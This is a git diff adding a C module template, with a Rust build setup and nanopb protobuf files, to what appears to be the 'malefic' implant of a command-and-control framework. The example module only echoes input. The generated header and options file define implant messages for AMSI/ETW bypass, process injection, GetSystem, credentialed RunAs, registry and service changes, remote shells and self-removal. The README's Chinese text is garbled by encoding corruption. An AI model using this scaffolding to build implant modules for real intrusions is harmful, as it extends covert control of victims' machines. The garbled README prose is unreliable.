"wasmparser", +] + +[[package]] +name = "wasm-metadata" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb0e353e6a2fbdc176932bbaab493762eb1255a7900fe0fea1a2f96c296cc909" +dependencies = [ + "anyhow", + "indexmap", + "wasm-encoder", + "wasmparser", +] + +[[package]] +name = "wasmparser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe" +dependencies = [ + "bitflags", + "hashbrown 0.15.5", + "indexmap", + "semver", +] + +[[package]] +name = "windows-core" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-result" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "winnow" +version = "0.6.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e90edd2ac1aa278a5c4599b1d89cf03074b610800f866d4026dc199d7929a28" +dependencies = [ + "memchr", +] + +[[package]] +name = "wit-bindgen" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7249219f66ced02969388cf2bb044a09756a083d0fab1e566056b04d9fbcaa5" +dependencies = [ + "wit-bindgen-rust-macro", +] + +[[package]] +name = "wit-bindgen-core" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea61de684c3ea68cb082b7a88508a8b27fcc8b797d738bfc99a82facf1d752dc" +dependencies = [ + "anyhow", + "heck", + "wit-parser", +] + +[[package]] +name = "wit-bindgen-rust" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7c566e0f4b284dd6561c786d9cb0142da491f46a9fbed79ea69cdad5db17f21" +dependencies = [ + "anyhow", + "heck", + "indexmap", + "prettyplease", + "syn", + "wasm-metadata", + "wit-bindgen-core", + "wit-component", +] + +[[package]] +name = "wit-bindgen-rust-macro" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c0f9bfd77e6a48eccf51359e3ae77140a7f50b1e2ebfe62422d8afdaffab17a" +dependencies = [ + "anyhow", + "prettyplease", + "proc-macro2", + "quote", + "syn", + "wit-bindgen-core", + "wit-bindgen-rust", +] + +[[package]] +name = "wit-component" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2" +dependencies = [ + "anyhow", + "bitflags", + "indexmap", + "log", + "serde", + "serde_derive", + "serde_json", + "wasm-encoder", + "wasm-metadata", + "wasmparser", + "wit-parser", +] + +[[package]] +name = "wit-parser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ecc8ac4bc1dc3381b7f59c34f00b67e18f910c2c0f50015669dde7def656a736" +dependencies = [ + "anyhow", + "id-arena", + "indexmap", + "log", + "semver", + "serde", + "serde_derive", + "serde_json", + "unicode-xid", + "wasmparser", +] + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" diff --git a/malefic-3rd-template/malefic-3rd-c/Cargo.toml b/malefic-3rd-template/malefic-3rd-c/Cargo.toml new file mode 100644 index 0000000..203d178 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "malefic-3rd-c" +version = "0.1.0" +edition = "2021" + +build = "build.rs" + +[lib] +name = "malefic_3rd_c" +path = "src/lib.rs" + +[dependencies] +malefic-3rd-ffi = { path = "../malefic-3rd-ffi" } + +[build-dependencies] +cc = "1" diff --git a/malefic-3rd-template/malefic-3rd-c/README.md b/malefic-3rd-template/malefic-3rd-c/README.md new file mode 100644 index 0000000..4b30064 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/README.md @@ -0,0 +1,100 @@ +# malefic-3rd-c + +C 语言模å—,使用 [nanopb](https://github.com/nanopb/nanopb) åš protobuf åºåˆ—化,`cc` crate 编译链接。 + +## å‰ç½®è¦æ±‚ + +- C 编译器(MinGW-w64 / GCCï¼Œéš Rust `x86_64-pc-windows-gnu` target 自带) + +## 目录结构 + +``` +malefic-3rd-c/ +├── Cargo.toml +├── build.rs # cc crate 编译所有 C æºç  +└── src/ + ├── lib.rs # Rust ä¾§ FFI 桥接 + └── c/ + ├── module.h # FFI 接å£å£°æ˜Ž + ├── module.c # FFI 导出 (CModuleName, CModuleHandle) + ├── nanopb/ # nanopb æºç  (pb_encode/decode/common) + ├── malefic/ # protobuf ç”Ÿæˆæ–‡ä»¶ (module.pb.c/h, module.proto) + └── example/ + └── example.c # ç¤ºä¾‹æ¨¡å— +``` + +## ç¼–å†™æ¨¡å— + +实现 `module.h` 中声明的两个回调函数: + +```c +#include "module.h" +#include "malefic/module.pb.h" +#include +#include + +static const char MODULE_NAME[] = "your_module"; + +const char* module_name(void) { + return MODULE_NAME; +} + +static int your_handle(uint32_t task_id, + const char* req_data, int req_len, + char** resp_data, int* resp_len) { + // 1. è§£ç  Request + malefic_Request request = malefic_Request_init_zero; + pb_istream_t istream = pb_istream_from_buffer( + (const pb_byte_t*)req_data, (size_t)req_len); + if (!pb_decode(&istream, malefic_Request_fields, &request)) + return -1; + + // 2. 构造 Response + malefic_Response response = malefic_Response_init_zero; + snprintf(response.output, sizeof(response.output), + "hello from c, input: %s", request.input); + + // 3. ç¼–ç  Response + uint8_t tmp[4096]; + pb_ostream_t ostream = pb_ostream_from_buffer(tmp, sizeof(tmp)); + if (!pb_encode(&ostream, malefic_Response_fields, &response)) + return -1; + + // 4. malloc 输出 buffer(Rust ä¾§ free) + *resp_data = malloc(ostream.bytes_written); + memcpy(*resp_data, tmp, ostream.bytes_written); + *resp_len = (int)ostream.bytes_written; + return 0; +} + +module_handler_fn module_handler(void) { + return your_handle; +} +``` + +ç„¶åŽåœ¨ `build.rs` 中添加你的 `.c` 文件: + +```rust +cc::Build::new() + // ...existing files... + .file(c_src_dir.join("yourmod").join("yourmod.c")) + .compile("malefic_c"); +``` + +## æ›´æ–° protobuf + +å¦‚æžœéœ€è¦æ›´æ–° proto 定义: + +1. 编辑 `src/c/malefic/module.proto` +2. 用 nanopb generator 釿–°ç”Ÿæˆï¼š + ```bash + nanopb_generator module.proto + ``` +3. æ›´æ–° `module.options` 中的字段大å°é™åˆ¶ + +## 构建 + +```bash +cargo build --target x86_64-pc-windows-gnu --no-default-features \ + --features "as_cdylib,c_module" --release +``` diff --git a/malefic-3rd-template/malefic-3rd-c/build.rs b/malefic-3rd-template/malefic-3rd-c/build.rs new file mode 100644 index 0000000..fb82dd3 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/build.rs @@ -0,0 +1,28 @@ +use std::env; +use std::path::PathBuf; + +fn main() { + let manifest_dir = PathBuf::from(env::var("CARGO_MANIFEST_DIR").unwrap()); + let c_src_dir = manifest_dir.join("src").join("c"); + + cc::Build::new() + // nanopb core + .file(c_src_dir.join("nanopb").join("pb_encode.c")) + .file(c_src_dir.join("nanopb").join("pb_decode.c")) + .file(c_src_dir.join("nanopb").join("pb_common.c")) + // nanopb generated + .file(c_src_dir.join("malefic").join("module.pb.c")) + // module framework + example + .file(c_src_dir.join("module.c")) + .file(c_src_dir.join("example").join("example.c")) + // include paths + .include(c_src_dir.join("nanopb")) + .include(c_src_dir.join("malefic")) + .include(&c_src_dir) + // Large messages (PsResponse, LsResponse, etc.) exceed 64kB + .define("PB_FIELD_32BIT", None) + .warnings(false) + .compile("malefic_c"); + + println!("cargo:rerun-if-changed={}", c_src_dir.display()); +} diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/example/example.c b/malefic-3rd-template/malefic-3rd-c/src/c/example/example.c new file mode 100644 index 0000000..6ff6da8 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/example/example.c @@ -0,0 +1,57 @@ +#include +#include +#include "module.h" +#include "malefic/module.pb.h" +#include +#include +#include + +/* + * Example C module: echoes the request input back with a prefix. + * Demonstrates nanopb decode/encode round-trip. + */ + +static const char MODULE_NAME[] = "example_c"; + +const char* module_name(void) { + return MODULE_NAME; +} + +static int example_handle(uint32_t task_id, + const char* req_data, int req_len, + char** resp_data, int* resp_len) { + (void)task_id; + + /* Decode Request */ + malefic_Request request = malefic_Request_init_zero; + pb_istream_t istream = pb_istream_from_buffer((const pb_byte_t*)req_data, (size_t)req_len); + if (!pb_decode(&istream, malefic_Request_fields, &request)) { + return -1; + } + + /* Build Response */ + malefic_Response response = malefic_Response_init_zero; + snprintf(response.output, sizeof(response.output), + "hello from c module, input: %s", request.input); + + /* Encode Response */ + uint8_t tmp_buf[4096]; + pb_ostream_t ostream = pb_ostream_from_buffer(tmp_buf, sizeof(tmp_buf)); + if (!pb_encode(&ostream, malefic_Response_fields, &response)) { + return -1; + } + + size_t encoded_len = ostream.bytes_written; + *resp_data = (char*)malloc(encoded_len); + if (!*resp_data) { + return -1; + } + memcpy(*resp_data, tmp_buf, encoded_len); + *resp_len = (int)encoded_len; + + return 0; +} + +module_handler_fn module_handler(void) { + return example_handle; +} diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.options b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.options new file mode 100644 index 0000000..5334a93 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.options @@ -0,0 +1,229 @@ +# nanopb options for module.proto (full) +# Controls max sizes for static allocation (no malloc needed) +# map<> fields use callbacks by default in nanopb — no options needed for them. + +# --- Core messages used by C module handler --- +malefic.Request.name max_size:256 +malefic.Request.input max_size:256 +malefic.Request.args max_size:256, max_count:32 +malefic.Request.bin max_size:4096 + +malefic.Response.output max_size:4096 +malefic.Response.error max_size:256 +malefic.Response.array max_size:256, max_count:32 + +# --- Registration / System --- +malefic.Register.name max_size:256 +malefic.Register.proxy max_size:256 +malefic.Register.module max_size:256, max_count:64 +malefic.Register.addons max_count:32 + +malefic.Secure.key max_size:256 +malefic.Secure.type max_size:64 +malefic.Secure.public_key max_size:256 + +malefic.KeyExchangeRequest.public_key max_size:256 +malefic.KeyExchangeRequest.signature max_size:256 +malefic.KeyExchangeRequest.nonce max_size:64 +malefic.KeyExchangeResponse.public_key max_size:256 + +malefic.Init.data max_size:4096 + +malefic.SysInfo.filepath max_size:256 +malefic.SysInfo.workdir max_size:256 + +malefic.Os.name max_size:128 +malefic.Os.version max_size:128 +malefic.Os.release max_size:128 +malefic.Os.arch max_size:32 +malefic.Os.username max_size:128 +malefic.Os.hostname max_size:128 +malefic.Os.locale max_size:64 +malefic.Os.clr_version max_size:64, max_count:8 + +malefic.Process.name max_size:128 +malefic.Process.owner max_size:128 +malefic.Process.arch max_size:32 +malefic.Process.path max_size:256 +malefic.Process.args max_size:256 +malefic.Process.uid max_size:64 + +malefic.Timer.expression max_size:128 + +# --- File --- +malefic.FileInfo.Name max_size:256 +malefic.FileInfo.Link max_size:256 + +malefic.LsResponse.Path max_size:256 +malefic.LsResponse.Files max_count:128 + +malefic.DriveInfo.path max_size:64 +malefic.DriveInfo.drive_type max_size:64 +malefic.DriveInfo.file_system max_size:32 +malefic.EnumDriversResponse.drives max_count:16 + +# --- Process --- +malefic.SacrificeProcess.argue max_size:256 +malefic.PsResponse.processes max_count:512 + +# --- Exec --- +malefic.ExecRequest.path max_size:256 +malefic.ExecRequest.args max_size:256, max_count:32 +malefic.ExecResponse.stdout max_size:4096 +malefic.ExecResponse.stderr max_size:4096 + +malefic.BinaryResponse.data max_size:4096 +malefic.BinaryResponse.message max_size:4096 +malefic.BinaryResponse.err max_size:256 + +# --- Modules / Addons --- +malefic.Modules.modules max_size:256, max_count:64 +malefic.Addons.addons max_count:32 +malefic.Addon.name max_size:128 +malefic.Addon.type max_size:64 +malefic.Addon.depend max_size:128 + +malefic.LoadModule.bundle max_size:256 +malefic.LoadModule.bin max_size:4096 +malefic.LoadAddon.name max_size:128 +malefic.LoadAddon.type max_size:64 +malefic.LoadAddon.depend max_size:128 +malefic.LoadAddon.bin max_size:4096 + +malefic.ExecuteAddon.addon max_size:128 + +malefic.ExecuteBinary.name max_size:128 +malefic.ExecuteBinary.bin max_size:4096 +malefic.ExecuteBinary.type max_size:64 +malefic.ExecuteBinary.process_name max_size:128 +malefic.ExecuteBinary.args max_size:256, max_count:32 +malefic.ExecuteBinary.entry_point max_size:128 +malefic.ExecuteBinary.data max_size:4096 +malefic.ExecuteBinary.path max_size:256 +malefic.ExecuteBinary.context max_size:256 + +malefic.ExecuteCommand.command max_size:256 + +# --- Upload / Download --- +malefic.UploadRequest.name max_size:256 +malefic.UploadRequest.target max_size:256 +malefic.UploadRequest.data max_size:4096 + +malefic.DownloadRequest.path max_size:256 +malefic.DownloadRequest.name max_size:256 +malefic.DownloadResponse.checksum max_size:128 +malefic.DownloadResponse.content max_size:4096 + +# --- Network --- +malefic.NetInterface.name max_size:128 +malefic.NetInterface.mac max_size:32 +malefic.NetInterface.ip_addresses max_size:64, max_count:16 +malefic.IfconfigResponse.net_interfaces max_count:32 + +malefic.SockTabEntry.local_addr max_size:64 +malefic.SockTabEntry.remote_addr max_size:64 +malefic.SockTabEntry.skState max_size:32 +malefic.SockTabEntry.pid max_size:16 +malefic.SockTabEntry.protocol max_size:16 +malefic.NetstatResponse.socks max_count:256 + +malefic.CurlRequest.url max_size:512 +malefic.CurlRequest.method max_size:16 +malefic.CurlRequest.body max_size:4096 +malefic.CurlRequest.hostname max_size:256 + +malefic.ChownRequest.path max_size:256 +malefic.ChownRequest.uid max_size:64 +malefic.ChownRequest.gid max_size:64 + +# --- Block / ACK --- +malefic.Block.content max_size:4096 + +# --- Registry --- +malefic.RegistryRequest.type max_size:64 +malefic.Registry.hive max_size:64 +malefic.Registry.path max_size:256 +malefic.Registry.key max_size:256 +malefic.RegistryWriteRequest.hive max_size:64 +malefic.RegistryWriteRequest.path max_size:256 +malefic.RegistryWriteRequest.key max_size:256 +malefic.RegistryWriteRequest.string_value max_size:256 +malefic.RegistryWriteRequest.byte_value max_size:4096 + +# --- Task Schedule --- +malefic.TaskScheduleRequest.type max_size:64 +malefic.TaskSchedule.name max_size:256 +malefic.TaskSchedule.path max_size:256 +malefic.TaskSchedule.executable_path max_size:256 +malefic.TaskSchedule.start_boundary max_size:64 +malefic.TaskSchedule.description max_size:256 +malefic.TaskSchedule.last_run_time max_size:64 +malefic.TaskSchedule.next_run_time max_size:64 +malefic.TaskSchedulesResponse.schedules max_count:64 + +# --- Service --- +malefic.ServiceRequest.type max_size:64 +malefic.ServiceConfig.name max_size:256 +malefic.ServiceConfig.display_name max_size:256 +malefic.ServiceConfig.executable_path max_size:256 +malefic.ServiceConfig.account_name max_size:128 +malefic.ServicesResponse.services max_count:128 + +# --- WMI --- +malefic.WmiQueryRequest.namespace max_size:256 +malefic.WmiQueryRequest.args max_size:256, max_count:16 +malefic.WmiMethodRequest.namespace max_size:256 +malefic.WmiMethodRequest.class_name max_size:128 +malefic.WmiMethodRequest.method_name max_size:128 + +# --- RunAs --- +malefic.RunAsRequest.username max_size:128 +malefic.RunAsRequest.domain max_size:128 +malefic.RunAsRequest.password max_size:256 +malefic.RunAsRequest.program max_size:256 +malefic.RunAsRequest.args max_size:256 + +# --- Inject / GetSystem --- +malefic.GetSystem.bin max_size:4096 +malefic.Inject.bin max_size:4096 + +# --- Pipe --- +malefic.Pipe.name max_size:128 +malefic.Pipe.target max_size:128 +malefic.Pipe.data max_size:4096 +malefic.PipeRequest.type max_size:64 + +# --- Switch --- +malefic.Switch.urls max_size:256, max_count:16 + +# --- Task --- +malefic.TaskCtrl.op max_size:64 +malefic.TaskListResponse.tasks max_count:128 + +# --- FFmpeg --- +malefic.FFmpegRequest.action max_size:64 +malefic.FFmpegRequest.device_name max_size:128 +malefic.FFmpegRequest.output_format max_size:32 +malefic.FFmpegRequest.output_path max_size:256 +malefic.FFmpegRequest.time max_size:32 + +# --- PTY --- +malefic.PtyRequest.type max_size:32 +malefic.PtyRequest.session_id max_size:64 +malefic.PtyRequest.shell max_size:128 +malefic.PtyRequest.input_data max_size:4096 +malefic.PtyRequest.input_text max_size:4096 + +malefic.PtyResponse.session_id max_size:64 +malefic.PtyResponse.output_data max_size:4096 +malefic.PtyResponse.output_text max_size:4096 +malefic.PtyResponse.error max_size:256 +malefic.PtyResponse.active_sessions max_size:64, max_count:32 + +# --- CommonBody --- +malefic.CommonBody.name max_size:256 +malefic.CommonBody.u32_array max_count:32 +malefic.CommonBody.u64_array max_count:32 +malefic.CommonBody.bool_array max_count:32 +malefic.CommonBody.string_array max_size:256, max_count:32 +malefic.CommonBody.bytes_array max_size:4096, max_count:16 diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.c b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.c new file mode 100644 index 0000000..f471045 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.c @@ -0,0 +1,249 @@ +/* Automatically generated nanopb constant definitions */ +/* Generated by nanopb-0.4.9.1 */ + +#include "module.pb.h" +#if PB_PROTO_HEADER_VERSION != 40 +#error Regenerate this file with the current version of nanopb generator. +#endif + + +/* The following messages exceed 64kB in size: malefic_LsResponse, malefic_PsResponse, malefic_TaskSchedulesResponse, malefic_ServicesResponse, malefic_CommonBody */ + +/* The PB_FIELD_32BIT compilation option must be defined to support messages that exceed 64 kB in size. */ +#ifndef PB_FIELD_32BIT +#error Enable PB_FIELD_32BIT to support messages exceeding 64kB in size: malefic_LsResponse, malefic_PsResponse, malefic_TaskSchedulesResponse, malefic_ServicesResponse, malefic_CommonBody +#endif +PB_BIND(malefic_Ping, malefic_Ping, AUTO) + + +PB_BIND(malefic_Register, malefic_Register, 4) + + +PB_BIND(malefic_Secure, malefic_Secure, 2) + + +PB_BIND(malefic_KeyExchangeRequest, malefic_KeyExchangeRequest, 2) + + +PB_BIND(malefic_KeyExchangeResponse, malefic_KeyExchangeResponse, 2) + + +PB_BIND(malefic_Init, malefic_Init, 4) + + +PB_BIND(malefic_SysInfo, malefic_SysInfo, 2) + + +PB_BIND(malefic_Suicide, malefic_Suicide, AUTO) + + +PB_BIND(malefic_Request, malefic_Request, 4) + + +PB_BIND(malefic_Request_ParamsEntry, malefic_Request_ParamsEntry, AUTO) + + +PB_BIND(malefic_Response, malefic_Response, 4) + + +PB_BIND(malefic_Response_KvEntry, malefic_Response_KvEntry, AUTO) + + +PB_BIND(malefic_BypassRequest, malefic_BypassRequest, AUTO) + + +PB_BIND(malefic_NetInterface, malefic_NetInterface, 2) + + +PB_BIND(malefic_SockTabEntry, malefic_SockTabEntry, AUTO) + + +PB_BIND(malefic_NetstatResponse, malefic_NetstatResponse, 4) + + +PB_BIND(malefic_Block, malefic_Block, 4) + + +PB_BIND(malefic_ACK, malefic_ACK, AUTO) + + +PB_BIND(malefic_Os, malefic_Os, 2) + + +PB_BIND(malefic_Process, malefic_Process, 2) + + +PB_BIND(malefic_Timer, malefic_Timer, AUTO) + + +PB_BIND(malefic_FileInfo, malefic_FileInfo, 2) + + +PB_BIND(malefic_SacrificeProcess, malefic_SacrificeProcess, 2) + + +PB_BIND(malefic_LsResponse, malefic_LsResponse, 4) + + +PB_BIND(malefic_DriveInfo, malefic_DriveInfo, AUTO) + + +PB_BIND(malefic_EnumDriversResponse, malefic_EnumDriversResponse, 2) + + +PB_BIND(malefic_PsResponse, malefic_PsResponse, 4) + + +PB_BIND(malefic_ExecRequest, malefic_ExecRequest, 4) + + +PB_BIND(malefic_ExecResponse, malefic_ExecResponse, 4) + + +PB_BIND(malefic_BinaryResponse, malefic_BinaryResponse, 4) + + +PB_BIND(malefic_Modules, malefic_Modules, 4) + + +PB_BIND(malefic_Addons, malefic_Addons, 4) + + +PB_BIND(malefic_Addon, malefic_Addon, 2) + + +PB_BIND(malefic_LoadModule, malefic_LoadModule, 4) + + +PB_BIND(malefic_LoadAddon, malefic_LoadAddon, 4) + + +PB_BIND(malefic_ExecuteAddon, malefic_ExecuteAddon, 4) + + +PB_BIND(malefic_ExecuteBinary, malefic_ExecuteBinary, 4) + + +PB_BIND(malefic_ExecuteBinary_ParamEntry, malefic_ExecuteBinary_ParamEntry, AUTO) + + +PB_BIND(malefic_ExecuteCommand, malefic_ExecuteCommand, 2) + + +PB_BIND(malefic_UploadRequest, malefic_UploadRequest, 4) + + +PB_BIND(malefic_DownloadRequest, malefic_DownloadRequest, 2) + + +PB_BIND(malefic_DownloadResponse, malefic_DownloadResponse, 4) + + +PB_BIND(malefic_CurlRequest, malefic_CurlRequest, 4) + + +PB_BIND(malefic_CurlRequest_HeaderEntry, malefic_CurlRequest_HeaderEntry, AUTO) + + +PB_BIND(malefic_ChownRequest, malefic_ChownRequest, 2) + + +PB_BIND(malefic_IfconfigResponse, malefic_IfconfigResponse, 4) + + +PB_BIND(malefic_RegistryRequest, malefic_RegistryRequest, 2) + + +PB_BIND(malefic_Registry, malefic_Registry, 2) + + +PB_BIND(malefic_RegistryWriteRequest, malefic_RegistryWriteRequest, 4) + + +PB_BIND(malefic_TaskScheduleRequest, malefic_TaskScheduleRequest, 2) + + +PB_BIND(malefic_TaskSchedule, malefic_TaskSchedule, 2) + + +PB_BIND(malefic_TaskSchedulesResponse, malefic_TaskSchedulesResponse, 4) + + +PB_BIND(malefic_ServiceRequest, malefic_ServiceRequest, 2) + + +PB_BIND(malefic_ServiceConfig, malefic_ServiceConfig, 2) + + +PB_BIND(malefic_ServiceStatus, malefic_ServiceStatus, AUTO) + + +PB_BIND(malefic_Service, malefic_Service, 2) + + +PB_BIND(malefic_ServicesResponse, malefic_ServicesResponse, 4) + + +PB_BIND(malefic_WmiQueryRequest, malefic_WmiQueryRequest, 4) + + +PB_BIND(malefic_WmiMethodRequest, malefic_WmiMethodRequest, 2) + + +PB_BIND(malefic_WmiMethodRequest_ParamsEntry, malefic_WmiMethodRequest_ParamsEntry, AUTO) + + +PB_BIND(malefic_RunAsRequest, malefic_RunAsRequest, 2) + + +PB_BIND(malefic_GetSystem, malefic_GetSystem, 4) + + +PB_BIND(malefic_Inject, malefic_Inject, 4) + + +PB_BIND(malefic_Pipe, malefic_Pipe, 4) + + +PB_BIND(malefic_PipeRequest, malefic_PipeRequest, 4) + + +PB_BIND(malefic_Switch, malefic_Switch, 4) + + +PB_BIND(malefic_TaskCtrl, malefic_TaskCtrl, AUTO) + + +PB_BIND(malefic_TaskInfo, malefic_TaskInfo, AUTO) + + +PB_BIND(malefic_TaskListResponse, malefic_TaskListResponse, 2) + + +PB_BIND(malefic_FFmpegRequest, malefic_FFmpegRequest, 2) + + +PB_BIND(malefic_PtyRequest, malefic_PtyRequest, 4) + + +PB_BIND(malefic_PtyRequest_ParamsEntry, malefic_PtyRequest_ParamsEntry, AUTO) + + +PB_BIND(malefic_PtyResponse, malefic_PtyResponse, 4) + + +PB_BIND(malefic_PtyResponse_MetadataEntry, malefic_PtyResponse_MetadataEntry, AUTO) + + +PB_BIND(malefic_CommonBody, malefic_CommonBody, 4) + + + +#ifndef PB_CONVERT_DOUBLE_FLOAT +/* On some platforms (such as AVR), double is really float. + * To be able to encode/decode double on these platforms, you need. + * to define PB_CONVERT_DOUBLE_FLOAT in pb.h or compiler command line. + */ +PB_STATIC_ASSERT(sizeof(double) == 8, DOUBLE_MUST_BE_8_BYTES) +#endif + diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.h b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.h new file mode 100644 index 0000000..ca75d0d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/malefic/module.pb.h @@ -0,0 +1,1857 @@ +/* Automatically generated nanopb header */ +/* Generated by nanopb-0.4.9.1 */ + +#ifndef PB_MALEFIC_MODULE_PB_H_INCLUDED +#define PB_MALEFIC_MODULE_PB_H_INCLUDED +#include + +#if PB_PROTO_HEADER_VERSION != 40 +#error Regenerate this file with the current version of nanopb generator. +#endif + +/* Struct definitions */ +typedef struct _malefic_Ping { + int32_t nonce; +} malefic_Ping; + +typedef struct _malefic_Secure { + bool enable; + char key[256]; /* encryption key */ + char type[64]; /* encryption type */ + char public_key[256]; /* Implant's public key, used by server to encrypt data */ +} malefic_Secure; + +typedef PB_BYTES_ARRAY_T(256) malefic_KeyExchangeRequest_signature_t; +/* Age key exchange related messages */ +typedef struct _malefic_KeyExchangeRequest { + char public_key[256]; /* Temporary public key (Age X25519) */ + malefic_KeyExchangeRequest_signature_t signature; /* Signature of temporary public key */ + uint64_t timestamp; /* Timestamp */ + char nonce[64]; /* Nonce */ +} malefic_KeyExchangeRequest; + +typedef struct _malefic_KeyExchangeResponse { + char public_key[256]; /* Server temporary public key */ +} malefic_KeyExchangeResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Init_data_t; +typedef struct _malefic_Init { + malefic_Init_data_t data; +} malefic_Init; + +typedef struct _malefic_Suicide { + int32_t type; + int64_t timestamp; +} malefic_Suicide; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Request_bin_t; +/* common empty request */ +typedef struct _malefic_Request { + char name[256]; + char input[256]; + pb_size_t args_count; + char args[32][256]; + pb_callback_t params; + malefic_Request_bin_t bin; +} malefic_Request; + +typedef struct _malefic_Request_ParamsEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_Request_ParamsEntry; + +typedef struct _malefic_Response { + char output[4096]; + char error[256]; + pb_callback_t kv; + pb_size_t array_count; + char array[32][256]; +} malefic_Response; + +typedef struct _malefic_Response_KvEntry { + pb_callback_t key; + pb_callback_t value; +} malefic_Response_KvEntry; + +typedef struct _malefic_BypassRequest { + bool ETW; + bool AMSI; + bool block_dll; +} malefic_BypassRequest; + +typedef struct _malefic_NetInterface { + int32_t index; + char name[128]; + char mac[32]; + pb_size_t ip_addresses_count; + char ip_addresses[16][64]; +} malefic_NetInterface; + +typedef struct _malefic_SockTabEntry { + char local_addr[64]; + char remote_addr[64]; + char skState[32]; + /* uint32 uid = 4; */ + char pid[16]; + char protocol[16]; +} malefic_SockTabEntry; + +typedef struct _malefic_NetstatResponse { + pb_size_t socks_count; + malefic_SockTabEntry socks[256]; +} malefic_NetstatResponse; + +typedef PB_BYTES_ARRAY_T(4096) malefic_Block_content_t; +typedef struct _malefic_Block { + uint32_t block_id; + malefic_Block_content_t content; + bool end; +} malefic_Block; + +typedef struct _malefic_ACK { + uint32_t id; + bool success; + bool end; +} malefic_ACK; + +typedef struct _malefic_Os { + char name[128]; + char version[128]; /* kernel version */ + char release[128]; /* release version */ + char arch[32]; + char username[128]; + char hostname[128]; + char locale[64]; /* timezone */ + pb_size_t clr_version_count; + char clr_version[8][64]; +} malefic_Os; + +typedef struct _malefic_Process { + char name[128]; + uint32_t pid; + uint32_t ppid; + char owner[128]; + char arch[32]; + char path[256]; + char args[256]; + char uid[64]; +} malefic_Process; + +typedef struct _malefic_SysInfo { + char filepath[256]; + char workdir[256]; + bool is_privilege; + bool has_os; + malefic_Os os; + bool has_process; + malefic_Process process; +} malefic_SysInfo; + +typedef struct _malefic_Timer { + char expression[128]; + double jitter; +} malefic_Timer; + +typedef struct _malefic_FileInfo { + char Name[256]; + bool IsDir; + uint64_t Size; + int64_t ModTime; + uint32_t Mode; + char Link[256]; +} malefic_FileInfo; + +typedef struct _malefic_SacrificeProcess { + bool hidden; + bool block_dll; + bool etw; + uint32_t ppid; + char argue[256]; +} malefic_SacrificeProcess; + +typedef struct _malefic_LsResponse { + char Path[256]; + bool Exists; + pb_size_t Files_count; + malefic_FileInfo Files[128]; +} malefic_LsResponse; + +typedef struct _malefic_DriveInfo { + char path[64]; /* "C:\\" */ + char drive_type[64]; /* "Fixed drive" */ + uint64_t total_size; /* */ + uint64_t free_size; /* */ + char file_system[32]; /* "NTFS" */ +} malefic_DriveInfo; + +typedef struct _malefic_EnumDriversResponse { + pb_size_t drives_count; + malefic_DriveInfo drives[16]; +} malefic_EnumDriversResponse; + +typedef struct _malefic_PsResponse { + pb_size_t processes_count; + malefic_Process processes[512]; +} malefic_PsResponse; + +typedef struct 